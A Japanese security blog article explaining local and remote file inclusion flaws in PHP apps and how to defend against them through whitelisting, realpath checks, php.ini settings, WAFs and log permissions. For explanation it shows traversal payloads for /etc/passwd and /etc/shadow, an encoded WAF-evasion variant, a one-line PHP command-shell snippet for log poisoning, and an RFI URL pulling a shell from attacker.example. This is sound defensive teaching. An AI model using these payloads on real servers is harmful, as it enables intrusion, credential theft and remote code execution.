サーバー内の重要ファイルを攻撃者に読まれたり、外部から悪意あるコードを実行されたりする「ファイルインクルード脆弱性」を知っていますか。PHPをはじめとするWebアプリケーションに潜むこの脆弱性は、/etc/passwdのような認証情報の漏洩や、条件が重なればリモートコード実行(RCE)にまで発展します。
この記事では、ローカルファイルインクルード(LFI)とリモートファイルインクルード(RFI)の仕組みを攻撃者の視点から解説し、現場で使える具体的な対策手順をお伝えします。PHPアプリのコードレビューを担当するエンジニアから、社内Webサーバーを守る情シス担当者まで、役立てていただける内容を網羅しています。
ローカルファイルインクルード(LFI)とは?
ローカルファイルインクルード(LFI:Local File Inclusion)は、Webアプリケーションがユーザーの入力値を適切に検証せずにファイルの読み込み処理へ渡してしまう脆弱性です。
PHPで見られる典型的な脆弱なコードパターンはこのようなものです。
# 脆弱なPHPコードの概念的な例 # $page = $_GET['page']; ← ユーザー入力をそのまま使っている # include($page . '.php'); ← 検証なしでファイルを読み込む
URLパラメータに `page=../../../../etc/passwd` のような文字列を渡すと、Webルート外にある `/etc/passwd` を読み込んでしまう可能性があります。
リモートファイルインクルード(RFI:Remote File Inclusion)はLFIのさらに深刻なケースです。PHPの設定で `allow_url_include = On` になっている環境では、外部サーバー上のURLをファイルとして読み込ませることができ、攻撃者が用意した悪意あるPHPスクリプトを実行させる――すなわちリモートコード実行(RCE)に直結します。
【影響範囲】LFI/RFIが引き起こすリスク
・機密ファイルの読み取り: /etc/passwd、/etc/shadow、アプリの設定ファイル(DBパスワードや秘密鍵等)が漏洩します
・ログポイズニング: LFIでアクセスログを読み込み、事前にログへ仕込んだPHPコードを実行させる高度な手法です
・リモートコード実行(RCE): RFIで外部の悪意あるスクリプトを実行し、サーバーを完全に乗っ取る可能性があります
・Webシェルの設置: RCEが成功するとバックドアが設置され、サーバーを継続的に制御される状態になります
攻撃の仕組み(敵を知る)
1. ディレクトリトラバーサルとの組み合わせ
LFI攻撃でよく使われる手法が「ディレクトリトラバーサル(パス操作)」です。`../`(親ディレクトリへの移動)を繰り返すことで、Webルート外のファイルへのアクセスを試みます。
# ディレクトリトラバーサルを使ったLFI攻撃の概念例 # https://example.com/index.php?page=../../../../etc/passwd # https://example.com/index.php?page=../../../../etc/shadow # https://example.com/index.php?page=../../../../var/log/apache2/access.log # WAFが ../ を検知する場合、URLエンコードで回避を試みることもある # https://example.com/index.php?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd
WAF(Webアプリケーションファイアウォール)が `../` をブロックする場合、攻撃者はURLエンコード(`%2e%2e%2f`)や二重エンコード、Unicode表現など、さまざまな難読化を試みます。これがWAFだけに頼ることの限界です。
2. ログポイズニング(Log Poisoning)
LFIを利用した高度な攻撃として「ログポイズニング」があります。Webサーバーのアクセスログ自体にPHPコードを書き込み、LFIでそのログをincludeさせることでコードを実行させる手口です。
攻撃の流れは次のようになります。
・ステップ1: 攻撃者が細工したHTTPリクエストを送信します。たとえばUser-Agentや不正なURLのクエリ文字列に `<?php system($_GET[‘cmd’]); ?>` のようなPHPコードを含めます
・ステップ2: WebサーバーがそのリクエストをAccess Logに記録します(/var/log/apache2/access.log等)
・ステップ3: 攻撃者はLFIを使ってアクセスログファイルをincludeします
・ステップ4: ログ内に書き込まれたPHPコードがWebサーバー上で実行されます
この手法はRFIが使えない環境でもRCEに持ち込める手法として知られており、/proc/self/fd(Linuxの/procファイルシステム)やセッションファイルを経由した派生手法も存在します。
3. RFIによるリモートコード実行
PHPの `allow_url_include = On` が設定された環境では、外部URLをそのままincludeできてしまいます。
# RFI攻撃の概念的な例 # https://example.com/index.php?page=http://attacker.example/shell.txt # ↑ 攻撃者が用意したサーバー上のシェルコードが実行される # 現代のPHPデフォルト設定 # allow_url_include = Off ← デフォルトはOff # allow_url_fopen = On ← こちらはデフォルトOn(RFIには直接関係しない)
現在のPHPはデフォルトで `allow_url_include = Off` ですが、古い設定を引き継いでいるサーバーや、何らかの事情で有効化されている環境では依然として深刻なリスクがあります。自社サーバーの設定を必ず確認してください。
具体的な防御手順
1. ユーザー入力をファイルパスに直接使わない(ホワイトリスト方式)
最も確実な対策は、ユーザーからの入力値をファイルパスの構築に使わない設計にすることです。ページ遷移が必要なケースでは、許可されたページ名の「ホワイトリスト」を作成し、キーでマッピングする方式を採用します。
# ホワイトリスト方式の概念例(PHP) # $allowed = [ # 'home' => 'home.php', # 'about' => 'about.php', # 'contact' => 'contact.php', # ]; # $page = $_GET['page'] ?? 'home'; # if (array_key_exists($page, $allowed)) { # include($allowed[$page]); # } else { # include('404.php'); # }
この方式であれば、攻撃者がどのような値を渡してもホワイトリスト外のファイルはincludeされません。「ユーザーが選べる選択肢をコードで定義する」という発想が根本的な対策の起点です。
2. realpath() でパスを正規化・検証する
ホワイトリスト方式への移行が難しい場合は、ファイルパスを `realpath()` で正規化し、許可ディレクトリの範囲内かをチェックする方法が有効です。
# realpath()を使ったパス検証の概念例(PHP) # $base = realpath('/var/www/html/pages'); # $target = realpath($base . '/' . $user_input); # # if ($target === false || strpos($target, $base . '/') !== 0) { # // ベースディレクトリ外へのアクセスを拒否 # die('不正なアクセスです'); # } # include($target);
`realpath()` はシンボリックリンクや `../` を解決した絶対パスを返します。`../` を重ねても最終的な絶対パスがベースディレクトリの外を指せば検知できます。ただし、`realpath()` はファイルが実在しない場合に `false` を返すため、その点の考慮も必要です。
3. PHPのセキュリティ設定を見直す
`php.ini` の設定を見直すだけでLFI/RFIのリスクを大幅に下げられます。本番サーバーで次の項目を必ず確認してください。
# php.ini 推奨設定 # RFIを無効化(デフォルトはOff、意図せずOnになっていないか確認) allow_url_include = Off # Webルート外へのファイルアクセスを制限(LFIのダメージ局所化) open_basedir = /var/www/html:/tmp # エラー詳細をブラウザに表示しない(パス情報漏洩防止) display_errors = Off log_errors = On error_log = /var/log/php_errors.log # 現在の設定を確認するには以下のコマンドで確認可能 # php -r "echo ini_get('allow_url_include');" # php -r "echo ini_get('open_basedir');"
`open_basedir` はPHPスクリプトがアクセスできるディレクトリを制限します。これを設定すればWebルート外のファイルはincludeできなくなり、仮にLFI脆弱性が存在してもダメージを限定できます。ただし、`open_basedir` はWordPress等のCMSと相性が悪い場合があるため、設定後は動作確認を必ず行ってください。
4. WAFでディレクトリトラバーサルをブロックする
WAFの導入は多層防御の一つとして有効です。ModSecurityやCloudflare WAFなどは、`../`やURLエンコードされたパス操作パターンをルールで検知してブロックできます。
ただし、エンコードのバリエーションは多く、WAFのルール更新が追いつかないケースもあります。WAFはあくまで「最後の砦の一つ」であり、アプリケーション側の根本対策と組み合わせることが前提です。
5. ログファイルへのアクセス権を絞る
ログポイズニング対策として、Webサーバープロセス(`www-data`等)がアクセスできるログファイルの範囲を最小限に絞ります。
# Apacheアクセスログの権限を確認・制限する例 ls -la /var/log/apache2/access.log # www-dataがreadできないように権限を変更する sudo chmod 640 /var/log/apache2/access.log sudo chown root:adm /var/log/apache2/access.log # www-dataグループを確認(グループからadmを除外しているかチェック) id www-data
Webサーバープロセスがアクセスログを読めない状態にすることで、ログポイズニングによるRCEの経路を断ち切れます。
中小企業でも今日からできること
LFI/RFIは開発者向けの話に聞こえますが、情シス担当者にも確認・対処できることが複数あります。
・WordPress・CMSを常に最新版に保つ: プラグインにLFI脆弱性が見つかることは珍しくありません。更新を怠るとOWASP Top10常連の脆弱性を放置することになります
・php.iniの `allow_url_include` を今すぐ確認する: レンタルサーバーの管理画面やphpinfo()で確認できます。Onになっていたら即刻Offにしてください
・WAFを導入・有効化する: Cloudflare等のクラウド型WAFはDNS設定変更だけで導入でき、中小企業でも費用対効果が高い選択肢です
・脆弱性スキャンを定期実施する: OWASP ZAPやNiktoなど無料ツールでファイルインクルード脆弱性を検出できます。月1回の習慣にしましょう
・ベンダーのセキュリティアドバイザリを購読する: 利用しているCMS・フレームワークのリリースノートを定期確認する体制を作ることが、最もコストの低い継続的防御です
Linuxサーバーの権限管理(open_basedirと連携するファイルシステムレベルの防御)については、姉妹サイトLinuxMaster.JPでも詳しく解説しています。
よくある誤解と注意点
【誤解1】「PHPを使っていなければLFI/RFIは関係ない」
Python(Jinja2などのテンプレートエンジン)、Node.js、Rubyなど他の言語・フレームワークにも、ユーザー入力を経由したファイル読み込みの脆弱性は存在します。言語を問わず、「ユーザー入力をファイルパスに使う設計」自体を排除することが本質的な対策です。
【誤解2】「allow_url_include = OffにすればLFIも防げる」
`allow_url_include = Off` はRFIを防ぐ設定であり、LFIには効きません。LFIはローカルファイルへのアクセスであるため、別途 `open_basedir` の設定やホワイトリスト方式の実装が必要です。RFI対策とLFI対策は別々に考える必要があります。
【誤解3】「WAFを入れれば大丈夫」
WAFはURLエンコード・二重エンコード・Unicode表現など多様な難読化手法によって回避される可能性があります。WAFは多層防御の一つとして有効ですが、アプリケーション側でホワイトリスト方式やrealpath()検証を実装することが前提です。WAFだけで安心するのは危険です。
【注意】脆弱性の悪用は不正アクセス禁止法で処罰される
本記事の内容は防御目的の知識として提供しています。許可なく他者のシステムに対してLFI/RFIを試みることは、不正アクセス禁止法(不正アクセス行為の禁止等に関する法律)に違反する可能性があります。詳細は法律の専門家にご確認ください。
本記事のまとめ
| 脅威 | 対策 | 優先度 |
|---|---|---|
| LFI(ローカルファイルインクルード) | ホワイトリスト方式 + open_basedir設定 | 高(今すぐ確認) |
| RFI(リモートファイルインクルード) | allow_url_include = Off の確認・設定 | 高(即日対応) |
| ログポイズニング | ログファイルの権限制限(www-data読取禁止) | 中(順次対応) |
| ディレクトリトラバーサル | realpath()検証 + WAF導入 | 中(WAFで補完) |
| エラー情報漏洩 | display_errors = Off + ログファイルへの記録 | 低(運用改善) |
・LFI/RFIは「ユーザー入力をファイルパスに直接使う設計」から生まれます
・根本対策はホワイトリスト方式の採用です。他の対策はすべて補完的な位置づけです
・`allow_url_include = Off` と `open_basedir` の設定は今すぐ確認してください
・WAFは有効な多層防御の一つですが、単独では迂回される可能性があります
・WordPressなどのCMSはプラグインを含め常に最新版を維持することが第一の防御です
Webサーバーに潜む脆弱性、見落としていませんか?
LFI/RFIをはじめとするWebアプリケーションの脆弱性は、設定一つで大きくリスクが変わります。
正しいセキュリティ知識を体系的に身につけたい方へ、メルマガで実践的なセキュリティ対策ノウハウをお届けしています。
